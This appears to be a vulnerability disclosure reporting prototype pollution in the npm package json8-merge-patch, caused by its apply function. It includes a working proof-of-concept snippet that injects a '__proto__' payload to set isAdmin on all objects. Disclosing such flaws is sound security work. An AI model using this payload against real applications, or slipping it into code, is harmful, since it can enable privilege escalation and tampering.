[json8-merge-patch] Prototype Pollution

I would like to report a `Prototype Pollution` vulnerability in `json8-merge-patch` The `apply` function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior.

let json8mergepatch = require("json8-merge-patch");
var obj = {}
console.log("Before : " + obj.isAdmin);
json8mergepatch.apply(obj, JSON.parse('{ "__proto__": { "isAdmin": true }}'));
console.log("After : " + obj.isAdmin);